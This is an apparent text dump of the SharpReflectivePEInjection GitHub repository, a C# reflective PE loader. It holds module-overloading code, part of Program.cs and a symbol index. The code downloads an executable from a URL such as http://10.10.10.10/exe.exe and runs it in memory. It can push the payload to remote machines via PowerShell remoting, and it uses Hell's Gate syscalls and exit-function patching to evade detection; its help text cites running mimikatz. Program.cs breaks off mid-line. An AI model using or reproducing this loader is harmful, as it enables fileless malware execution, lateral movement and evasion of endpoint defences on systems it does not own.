public static Data.PE.PE_MANUAL_MAP OverloadModule(byte[] Payload, string DecoyModulePath = null, bool LegitSigned = true)
{
// Did we get a DecoyModule?
if (!string.IsNullOrEmpty(DecoyModulePath))
{
if (!File.Exists(DecoyModulePath))
{
throw new InvalidOperationException("Decoy filepath not found.");
}
byte[] DecoyFileBytes = File.ReadAllBytes(DecoyModulePath);
if (DecoyFileBytes.Length < Payload.Length)
{
throw new InvalidOperationException("Decoy module is too small to host the payload.");
}
}
else
{
DecoyModulePath = FindDecoyModule(Payload.Length);
if (string.IsNullOrEmpty(DecoyModulePath))
{
throw new InvalidOperationException("Failed to find suitable decoy module.");
}
}
// Map decoy from disk
Data.PE.PE_MANUAL_MAP DecoyMetaData = Map.MapModuleFromDisk(DecoyModulePath);
IntPtr RegionSize = DecoyMetaData.PEINFO.Is32Bit ? (IntPtr)DecoyMetaData.PEINFO.OptHeader32.SizeOfImage : (IntPtr)DecoyMetaData.PEINFO.OptHeader64.SizeOfImage;
// Change permissions to RW
DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref DecoyMetaData.ModuleBase, ref RegionSize, Data.Win32.WinNT.PAGE_READWRITE);
// Zero out memory
DynamicInvoke.Native.RtlZeroMemory(DecoyMetaData.ModuleBase, (int)RegionSize);
// Overload module in memory
Data.PE.PE_MANUAL_MAP OverloadedModuleMetaData = Map.MapModuleToMemory(Payload, DecoyMetaData.ModuleBase);
OverloadedModuleMetaData.DecoyModule = DecoyModulePath;
return OverloadedModuleMetaData;
}
}
}
================================================
FILE: Program.cs
================================================
/*
Dynamic PE Reflective Loader/Injector for x86 and x64
*/
using System;
using System.Runtime.InteropServices;
using System.IO;
using System.Collections.Generic;
using static DInvoke.Data.PE;
using static DInvoke.DynamicInvoke.Generic;
using DInvoke.ManualMap;
using System.Net;
using System.Linq;
using System.Diagnostics;
using System.Reflection;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Security.Principal;
using System.Threading;
using System.IO.Pipes;
void print(object input) { Console.WriteLine(input); }
void PrintExit(object input) { Console.WriteLine(input); Environment.Exit(0); } // useful for debuggin
void exit() { Environment.Exit(0); }
byte[] unpacked = new byte[] { };
string url = null;
string PE_b64 = null;
string fromfile = null;
string Args = "";
string ComputerName = null;
bool PatchExitProcs = false;
bool useSysCalls = false;
bool PSRemoting = false;
bool RedirectOutPut = false;
bool DisableLocalSuicide = false;
// -DisableForceExit
void ParseCLIArguments() // a DYI Parser XD
{
void DisplayArgHelp()
{
Console.WriteLine("\n-url, -u url to the binary to download");
Console.WriteLine("\n-file, -f full path to a binary to execute [useful when executing local PE on a remote machine]");
Console.WriteLine("\n-b64PE pass the entire PE as B64 encoded blob (if you are a mad person)");
Console.WriteLine("\n-Args, -args, -a Arguments to be passed to Exe [Optional]");
Console.WriteLine("\n-patch_exit Patch CorExit and ExitProcess to ExitThread [you know what is it if you need it XD]");
Console.WriteLine("\n-syscalls Instead of Mapping ntdll, will use dynamic syscalls [Hell's Gate Technique]");
Console.WriteLine("\n-ComputerName use powershell remoting to execute the PE on a target machine [Optional] (Retrieves output)");
Console.WriteLine("\n-DisableForceExit Disable the 1.5 Minute Maximum Runtime Enforcement [Ex: if running interactive mimikatz]");
Console.WriteLine("\n-help Display this help screen.");
Console.WriteLine("\n\nusage: .\\SharpReflectivePEInjection.exe -url http://10.10.10.10/exe.exe [Optional: -Args \"<EXE_ARGS>\"]");
Console.WriteLine("usage: .\\SharpReflectivePEInjection.exe -b64PE <BASE64 PE_BLOB> [Optional: -Args \"<EXE_ARGS>\"]");
Console.WriteLine("usage: .\\SharpReflectivePEInjection.exe -url http://10.10.10.10/exe.exe -ComputerName server.ad.local [Optional: -Args \"<EXE_ARGS>\"]");
}
if (args.Length == 0) { DisplayArgHelp(); Environment.Exit(0); }
for (int arg = 0; arg < args.Length; arg++)
{
if (args[arg] == "-url" || args[arg] == "-u") { url = args[arg + 1]; }
if (args[arg] == "-Args" ) { Args = args[arg + 1]; }
if (args[arg] == "-args") { Args = args[arg + 1]; }
if (args[arg] == "-a") { Args = args[arg + 1]; }
if (args[arg] == "-b64PE") { PE_b64 = args[arg + 1]; }
if (args[arg] == "-syscalls") { useSysCalls = true; }
if (args[arg] == "-patch_exit") { PatchExitProcs = true; }
if (args[arg] == "-help" || args[arg] == "-h" || args[arg] == "--help") { DisplayArgHelp(); Environment.Exit(0); }
if (args[arg] == "-ComputerName") { PSRemoting = true; ComputerName = args[arg + 1];}
if (args[arg] == "RedirectOutPut") { RedirectOutPut = true; } // this flag is for internal use only
if (args[arg] == "-DisableForceExit") { DisableLocalSuicide = true; }
if (args[arg] == "-file" || args[arg] == "-f") { fromfile = args[arg + 1]; }
}
}
ParseCLIArguments();
// this function will run locally and the rest of the code will will be ran reflectively on remote target
// Gets the PE in whatever method the user specifies and always passes it to remote reflector in Base64 format
// allows for bypassing network based restrictions (ex: target machine can't reach the payload server to download the PE)
// allows for easily passing a local PE to remote machine using the (-file) argument
void PSRemotingReflection()
{
GetPE();
string b64EXE = Convert.ToBase64String(unpacked);
var filteredArgs = new List<string>(); // construct arguments for execution stub
string[] CLI_ARGS = Environment.GetCommandLineArgs();
for (int i = 1; i < CLI_ARGS.Length; i++)
{
if (CLI_ARGS[i] == "-url" || CLI_ARGS[i] == "-u") { filteredArgs.Add($"\"-b64PE\""); filteredArgs.Add($"\"{b64EXE}\""); print("[*] Passed binary to remote reflector"); }
if (CLI_ARGS[i] == "-file" || CLI_ARGS[i] == "-f" ) { filteredArgs.Add($"\"-b64PE\""); filteredArgs.Add($"\"{b64EXE}\""); print("[*] Passed binary to remote reflector"); }
if (!CLI_ARGS[i].Contains("ComputerName") && CLI_ARGS[i] != ComputerName) { filteredArgs.Add($"\"{CLI_ARGS[i]}\""); }
}
filteredArgs.Add("\"RedirectOutPut\""); // this will trigger stdout and stderr redirection so output can be retrieved remotely
string psArgs = string.Join(",", filteredArgs);
psArgs = $"({psArgs})";
if (!string.IsNullOrEmpty(url))
{
psArgs = psArgs.Replace(url, null);
psArgs = psArgs.Replace("-url", null);
psArgs = psArgs.Replace("-u", null);
}
if (!string.IsNullOrEmpty(fromfile))
{
psArgs = psArg
gitextract_h19lhkuc/ ├── App.config ├── DInvoke.Data/ │ ├── Native.cs │ ├── PE.cs │ └── Win32.cs ├── DInvoke.DynamicInvoke/ │ ├── Generic.cs │ ├── Native.cs │ ├── Utilities.cs │ └── Win32.cs ├── DInvoke.ManualMap/ │ ├── Map.cs │ └── Overload.cs ├── Program.cs ├── Properties/ │ └── AssemblyInfo.cs ├── README.md ├── SharpReflectivePEInjection.csproj └── SharpReflectivePEInjection.sln
SYMBOL INDEX (175 symbols across 9 files)
FILE: DInvoke.Data/Native.cs
class Native (line 12) | public static class Native
type UNICODE_STRING (line 14) | [StructLayout(LayoutKind.Sequential)]
type ANSI_STRING (line 22) | [StructLayout(LayoutKind.Sequential)]
type PROCESS_BASIC_INFORMATION (line 30) | public struct PROCESS_BASIC_INFORMATION
type OBJECT_ATTRIBUTES (line 45) | [StructLayout(LayoutKind.Sequential, Pack = 0)]
type IO_STATUS_BLOCK (line 56) | [StructLayout(LayoutKind.Sequential)]
type CLIENT_ID (line 63) | [StructLayout(LayoutKind.Sequential)]
type OSVERSIONINFOEX (line 70) | [StructLayout(LayoutKind.Sequential)]
type LIST_ENTRY (line 87) | [StructLayout(LayoutKind.Sequential)]
type MEMORYINFOCLASS (line 94) | public enum MEMORYINFOCLASS : int
type PROCESSINFOCLASS (line 102) | public enum PROCESSINFOCLASS : int
type NT_CREATION_FLAGS (line 167) | public enum NT_CREATION_FLAGS : ulong
type NTSTATUS (line 181) | public enum NTSTATUS : uint
FILE: DInvoke.Data/PE.cs
class PE (line 9) | public static class PE
type DataSectionFlags (line 21) | [Flags]
type IMAGE_DOS_HEADER (line 64) | public struct IMAGE_DOS_HEADER
type IMAGE_DATA_DIRECTORY (line 99) | [StructLayout(LayoutKind.Sequential)]
type IMAGE_OPTIONAL_HEADER32 (line 106) | [StructLayout(LayoutKind.Sequential, Pack = 1)]
type IMAGE_OPTIONAL_HEADER64 (line 158) | [StructLayout(LayoutKind.Sequential, Pack = 1)]
type IMAGE_FILE_HEADER (line 209) | [StructLayout(LayoutKind.Sequential, Pack = 1)]
type IMAGE_SECTION_HEADER (line 221) | [StructLayout(LayoutKind.Explicit)]
type IMAGE_EXPORT_DIRECTORY (line 252) | [StructLayout(LayoutKind.Explicit)]
type IMAGE_BASE_RELOCATION (line 279) | [StructLayout(LayoutKind.Sequential)]
type PE_META_DATA (line 286) | [StructLayout(LayoutKind.Sequential)]
type PE_MANUAL_MAP (line 297) | [StructLayout(LayoutKind.Sequential)]
type IMAGE_THUNK_DATA32 (line 305) | [StructLayout(LayoutKind.Explicit)]
type IMAGE_THUNK_DATA64 (line 318) | [StructLayout(LayoutKind.Explicit)]
type ApiSetNamespace (line 331) | [StructLayout(LayoutKind.Explicit)]
type ApiSetNamespaceEntry (line 341) | [StructLayout(LayoutKind.Explicit, Size = 24)]
type ApiSetValueEntry (line 354) | [StructLayout(LayoutKind.Explicit)]
type LDR_DATA_TABLE_ENTRY (line 364) | [StructLayout(LayoutKind.Sequential)]
FILE: DInvoke.Data/Win32.cs
class Win32 (line 16) | public static class Win32
class Kernel32 (line 18) | public static class Kernel32
type IMAGE_BASE_RELOCATION (line 33) | [StructLayout(LayoutKind.Sequential)]
type IMAGE_IMPORT_DESCRIPTOR (line 40) | [StructLayout(LayoutKind.Sequential)]
type SYSTEM_INFO (line 50) | public struct SYSTEM_INFO
type Platform (line 65) | public enum Platform
type ProcessAccessFlags (line 73) | [Flags]
type FileAccessFlags (line 93) | [Flags]
type FileShareFlags (line 111) | [Flags]
type FileOpenFlags (line 120) | [Flags]
type StandardRights (line 141) | [Flags]
type ThreadAccess (line 164) | [Flags]
class User32 (line 183) | public static class User32
class Netapi32 (line 191) | public static class Netapi32
type LOCALGROUP_USERS_INFO_0 (line 193) | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
type LOCALGROUP_USERS_INFO_1 (line 199) | [StructLayout(LayoutKind.Sequential)]
type LOCALGROUP_MEMBERS_INFO_2 (line 206) | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
type WKSTA_USER_INFO_1 (line 214) | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
type SESSION_INFO_10 (line 223) | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
type SID_NAME_USE (line 232) | public enum SID_NAME_USE : UInt16
type SHARE_INFO_1 (line 245) | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
method SHARE_INFO_1 (line 252) | public SHARE_INFO_1(string netname, uint type, string remark)
class Advapi32 (line 261) | public static class Advapi32
type CREATION_FLAGS (line 284) | [Flags]
type LOGON_FLAGS (line 320) | [Flags]
type LOGON_TYPE (line 328) | public enum LOGON_TYPE
type LOGON_PROVIDER (line 339) | public enum LOGON_PROVIDER
type SCM_ACCESS (line 347) | [Flags]
type ACCESS_MASK (line 379) | [Flags]
type SERVICE_ACCESS (line 420) | [Flags]
type SERVICE_TYPE (line 466) | [Flags]
type SERVICE_START (line 476) | public enum SERVICE_START : uint
type SERVICE_ERROR (line 485) | public enum SERVICE_ERROR
class Dbghelp (line 494) | public static class Dbghelp
type MINIDUMP_TYPE (line 496) | public enum MINIDUMP_TYPE
class WinBase (line 524) | public class WinBase
type _SYSTEM_INFO (line 526) | [StructLayout(LayoutKind.Sequential)]
type _SECURITY_ATTRIBUTES (line 542) | [StructLayout(LayoutKind.Sequential)]
class WinNT (line 551) | public class WinNT
type _SECURITY_IMPERSONATION_LEVEL (line 591) | public enum _SECURITY_IMPERSONATION_LEVEL
type TOKEN_TYPE (line 599) | public enum TOKEN_TYPE
type _TOKEN_ELEVATION_TYPE (line 605) | public enum _TOKEN_ELEVATION_TYPE
type _MEMORY_BASIC_INFORMATION32 (line 612) | [StructLayout(LayoutKind.Sequential)]
type _MEMORY_BASIC_INFORMATION64 (line 624) | [StructLayout(LayoutKind.Sequential)]
type _LUID_AND_ATTRIBUTES (line 638) | [StructLayout(LayoutKind.Sequential)]
type _LUID (line 645) | [StructLayout(LayoutKind.Sequential)]
type _TOKEN_STATISTICS (line 652) | [StructLayout(LayoutKind.Sequential)]
type _TOKEN_PRIVILEGES (line 667) | [StructLayout(LayoutKind.Sequential)]
type _TOKEN_MANDATORY_LABEL (line 674) | [StructLayout(LayoutKind.Sequential)]
type _SID (line 680) | public struct _SID
type _SID_IDENTIFIER_AUTHORITY (line 689) | [StructLayout(LayoutKind.Sequential)]
type _SID_AND_ATTRIBUTES (line 696) | [StructLayout(LayoutKind.Sequential)]
type _PRIVILEGE_SET (line 703) | [StructLayout(LayoutKind.Sequential)]
type _TOKEN_USER (line 712) | [StructLayout(LayoutKind.Sequential)]
type _SID_NAME_USE (line 718) | public enum _SID_NAME_USE
type _TOKEN_INFORMATION_CLASS (line 732) | public enum _TOKEN_INFORMATION_CLASS
type ACCESS_MASK (line 778) | [Flags]
class ProcessThreadsAPI (line 827) | public class ProcessThreadsAPI
type STARTF (line 829) | [Flags]
type _STARTUPINFO (line 844) | [StructLayout(LayoutKind.Sequential)]
type _STARTUPINFOEX (line 868) | [StructLayout(LayoutKind.Sequential)]
type _PROCESS_INFORMATION (line 876) | [StructLayout(LayoutKind.Sequential)]
class WinCred (line 886) | public class WinCred
type _CREDENTIAL (line 889) | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
type CRED_FLAGS (line 906) | public enum CRED_FLAGS : uint
type CRED_PERSIST (line 913) | public enum CRED_PERSIST : uint
type CRED_TYPE (line 920) | public enum CRED_TYPE : uint
class Secur32 (line 933) | public class Secur32
type _SECURITY_LOGON_SESSION_DATA (line 935) | public struct _SECURITY_LOGON_SESSION_DATA
type _LSA_UNICODE_STRING (line 951) | [StructLayout(LayoutKind.Sequential)]
FILE: DInvoke.DynamicInvoke/Generic.cs
class Generic (line 20) | public class Generic
method DynamicAPIInvoke (line 31) | public static object DynamicAPIInvoke(string DLLName, string FunctionN...
method DynamicFunctionInvoke (line 45) | public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Typ...
method LoadModuleFromDisk (line 57) | public static IntPtr LoadModuleFromDisk(string DLLPath)
method GetLibraryAddress (line 80) | public static IntPtr GetLibraryAddress(string DLLName, string Function...
method GetLibraryAddress (line 107) | public static IntPtr GetLibraryAddress(string DLLName, short Ordinal, ...
method GetLibraryAddress (line 135) | public static IntPtr GetLibraryAddress(string DLLName, string Function...
method GetLoadedModuleAddress (line 162) | public static IntPtr GetLoadedModuleAddress(string DLLName)
method GetPebLdrModuleEntry (line 183) | public static IntPtr GetPebLdrModuleEntry(string DLLName)
method GetAPIHash (line 236) | public static string GetAPIHash(string APIName, long Key)
method GetExportAddress (line 255) | public static IntPtr GetExportAddress(IntPtr ModuleBase, string Export...
method GetExportAddress (line 329) | public static IntPtr GetExportAddress(IntPtr ModuleBase, short Ordinal...
method GetExportAddress (line 397) | public static IntPtr GetExportAddress(IntPtr ModuleBase, string Functi...
method GetForwardAddress (line 464) | public static IntPtr GetForwardAddress(IntPtr ExportAddress)
method GetNativeExportAddress (line 504) | public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, string ...
method GetNativeExportAddress (line 531) | public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, short O...
method GetPeMetaData (line 547) | public static Data.PE.PE_META_DATA GetPeMetaData(IntPtr pModule)
method GetApiSetMapping (line 598) | public static Dictionary<string, string> GetApiSetMapping()
method CallMappedPEModule (line 638) | public static void CallMappedPEModule(Data.PE.PE_META_DATA PEINFO, Int...
method CallMappedDLLModule (line 661) | public static void CallMappedDLLModule(Data.PE.PE_META_DATA PEINFO, In...
method CallMappedDLLModuleExport (line 685) | public static object CallMappedDLLModuleExport(Data.PE.PE_META_DATA PE...
method CallMappedDLLModuleExport (line 711) | public static object CallMappedDLLModuleExport(Data.PE.PE_META_DATA PE...
method CallMappedDLLModuleExport (line 738) | public static object CallMappedDLLModuleExport(Data.PE.PE_META_DATA PE...
method GetSyscallStub (line 759) | public static IntPtr GetSyscallStub(string FunctionName)
FILE: DInvoke.DynamicInvoke/Native.cs
class Native (line 15) | public class Native
method NtCreateThreadEx (line 17) | public static Data.Native.NTSTATUS NtCreateThreadEx(
method RtlCreateUserThread (line 46) | public static Data.Native.NTSTATUS RtlCreateUserThread(
method NtCreateSection (line 75) | public static Data.Native.NTSTATUS NtCreateSection(
method NtUnmapViewOfSection (line 104) | public static Data.Native.NTSTATUS NtUnmapViewOfSection(IntPtr hProc, ...
method NtMapViewOfSection (line 118) | public static Data.Native.NTSTATUS NtMapViewOfSection(
method RtlInitUnicodeString (line 151) | public static void RtlInitUnicodeString(ref Data.Native.UNICODE_STRING...
method LdrLoadDll (line 165) | public static Data.Native.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt3...
method RtlZeroMemory (line 181) | public static void RtlZeroMemory(IntPtr Destination, int Length)
method NtQueryInformationProcess (line 192) | public static Data.Native.NTSTATUS NtQueryInformationProcess(IntPtr hP...
method NtQueryInformationProcessWow64Information (line 232) | public static bool NtQueryInformationProcessWow64Information(IntPtr hP...
method NtQueryInformationProcessBasicInformation (line 247) | public static Data.Native.PROCESS_BASIC_INFORMATION NtQueryInformation...
method NtOpenProcess (line 258) | public static IntPtr NtOpenProcess(UInt32 ProcessId, Data.Win32.Kernel...
method NtQueueApcThread (line 288) | public static void NtQueueApcThread(IntPtr ThreadHandle, IntPtr ApcRou...
method NtOpenThread (line 303) | public static IntPtr NtOpenThread(int TID, Data.Win32.Kernel32.ThreadA...
method NtAllocateVirtualMemory (line 333) | public static IntPtr NtAllocateVirtualMemory(IntPtr ProcessHandle, ref...
method NtFreeVirtualMemory (line 397) | public static void NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPt...
method GetFilenameFromMemoryPointer (line 423) | public static string GetFilenameFromMemoryPointer(IntPtr hProc, IntPtr...
method NtProtectVirtualMemory (line 475) | public static UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref ...
method NtWriteVirtualMemory (line 494) | public static UInt32 NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr...
method LdrGetProcedureAddress (line 513) | public static IntPtr LdrGetProcedureAddress(IntPtr hModule, IntPtr Fun...
method RtlGetVersion (line 531) | public static void RtlGetVersion(ref Data.Native.OSVERSIONINFOEX Versi...
method NtReadVirtualMemory (line 548) | public static UInt32 NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr ...
method NtOpenFile (line 567) | public static IntPtr NtOpenFile(ref IntPtr FileHandle, Data.Win32.Kern...
type DELEGATES (line 606) | public struct DELEGATES
FILE: DInvoke.DynamicInvoke/Utilities.cs
class Utilities (line 6) | class Utilities
method FileHasValidSignature (line 13) | public static bool FileHasValidSignature(string FilePath)
FILE: DInvoke.DynamicInvoke/Win32.cs
class Win32 (line 13) | public static class Win32
method OpenProcess (line 23) | public static IntPtr OpenProcess(Data.Win32.Kernel32.ProcessAccessFlag...
method CreateRemoteThread (line 35) | public static IntPtr CreateRemoteThread(
method IsWow64Process (line 63) | public static bool IsWow64Process(IntPtr hProcess, ref bool lpSystemInfo)
class Delegates (line 80) | public static class Delegates
FILE: DInvoke.ManualMap/Map.cs
class Map (line 13) | public class Map
method MapModuleFromDisk (line 22) | public static Data.PE.PE_MANUAL_MAP MapModuleFromDisk(string DLLPath)
method AllocateFileToMemory (line 95) | public static IntPtr AllocateFileToMemory(string FilePath)
method AllocateBytesToMemory (line 112) | public static IntPtr AllocateBytesToMemory(byte[] FileByteArray)
method RelocateModule (line 126) | public static void RelocateModule(Data.PE.PE_META_DATA PEINFO, IntPtr ...
method RewriteModuleIAT (line 191) | public static void RewriteModuleIAT(Data.PE.PE_META_DATA PEINFO, IntPt...
method SetModuleSectionPermissions (line 341) | public static void SetModuleSectionPermissions(Data.PE.PE_META_DATA PE...
method MapModuleToMemory (line 394) | public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(string ModulePath)
method MapModuleToMemory (line 407) | public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(byte[] Module)
method MapModuleToMemory (line 421) | public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(byte[] Module, I...
method MapModuleToMemory (line 435) | public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule)
method MapModuleToMemory (line 465) | public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule, ...
method MapModuleToMemory (line 479) | public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule, ...
method FreeModule (line 534) | public static void FreeModule(Data.PE.PE_MANUAL_MAP PEMapped)
FILE: DInvoke.ManualMap/Overload.cs
class Overload (line 13) | public class Overload
method FindDecoyModule (line 24) | public static string FindDecoyModule(long MinSize, bool LegitSigned = ...
method OverloadModule (line 75) | public static Data.PE.PE_MANUAL_MAP OverloadModule(string PayloadPath,...
method OverloadModule (line 95) | public static Data.PE.PE_MANUAL_MAP OverloadModule(byte[] Payload, str...
Condensed preview — 15 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (260K chars).
[
{
"path": "App.config",
"chars": 185,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\r\n<configuration>\r\n <startup> \r\n <supportedRuntime version=\"v4.0\" sku="
},
{
"path": "DInvoke.Data/Native.cs",
"chars": 22434,
"preview": "using System;\r\nusing System.Runtime.InteropServices;\r\n\r\nnamespace DInvoke.Data\r\n{\r\n /// <summary>\r\n /// Native is"
},
{
"path": "DInvoke.Data/PE.cs",
"chars": 14784,
"preview": "using System;\r\nusing System.Runtime.InteropServices;\r\n\r\nnamespace DInvoke.Data\r\n{\r\n /// <summary>\r\n /// Holds dat"
},
{
"path": "DInvoke.Data/Win32.cs",
"chars": 37792,
"preview": "// Author: Ryan Cobb (@cobbr_io)\r\n// Project: SharpSploit (https://github.com/cobbr/SharpSploit)\r\n// License: BSD 3-Clau"
},
{
"path": "DInvoke.DynamicInvoke/Generic.cs",
"chars": 44629,
"preview": "// Author: Ryan Cobb (@cobbr_io)\r\n// Project: SharpSploit (https://github.com/cobbr/SharpSploit)\r\n// License: BSD 3-Cla"
},
{
"path": "DInvoke.DynamicInvoke/Native.cs",
"chars": 35022,
"preview": "// Author: Ryan Cobb (@cobbr_io), The Wover (@TheRealWover)\r\n// Project: SharpSploit (https://github.com/cobbr/SharpSpl"
},
{
"path": "DInvoke.DynamicInvoke/Utilities.cs",
"chars": 1170,
"preview": "using System;\r\nusing System.Security.Cryptography.X509Certificates;\r\n\r\nnamespace DInvoke.Utilities\r\n{\r\n class Utilit"
},
{
"path": "DInvoke.DynamicInvoke/Win32.cs",
"chars": 4064,
"preview": "// Author: Ryan Cobb (@cobbr_io), The Wover (@TheRealWover)\r\n// Project: SharpSploit (https://github.com/cobbr/SharpSpl"
},
{
"path": "DInvoke.ManualMap/Map.cs",
"chars": 26372,
"preview": "using System;\r\nusing System.Collections.Generic;\r\nusing System.IO;\r\nusing System.Runtime.InteropServices;\r\n\r\n\r\nnamespac"
},
{
"path": "DInvoke.ManualMap/Overload.cs",
"chars": 6616,
"preview": "using System;\r\nusing System.Collections.Generic;\r\nusing System.Diagnostics;\r\nusing System.IO;\r\nusing System.Linq;\r\n\r\nus"
},
{
"path": "Program.cs",
"chars": 38428,
"preview": "/*\r\nDynamic PE Reflective Loader/Injector for x86 and x64 \r\n*/\r\n\r\nusing System;\r\nusing System.Runtime.InteropServices;"
},
{
"path": "Properties/AssemblyInfo.cs",
"chars": 1413,
"preview": "using System.Reflection;\r\nusing System.Runtime.CompilerServices;\r\nusing System.Runtime.InteropServices;\r\n\r\n// General I"
},
{
"path": "README.md",
"chars": 9629,
"preview": "# SharpReflectivePEInjection #\n\n**Update: fixed x32 loading issue and till now syscalls are not working with x32 applica"
},
{
"path": "SharpReflectivePEInjection.csproj",
"chars": 3135,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbu"
},
{
"path": "SharpReflectivePEInjection.sln",
"chars": 1155,
"preview": "\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio Version 17\r\nVisualStudioVersion = 17.7.3"
}
]
About this extraction
This page contains the full source code of the cpu0x00/SharpReflectivePEInjection GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 15 files (241.0 KB), approximately 55.1k tokens, and a symbol index with 175 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.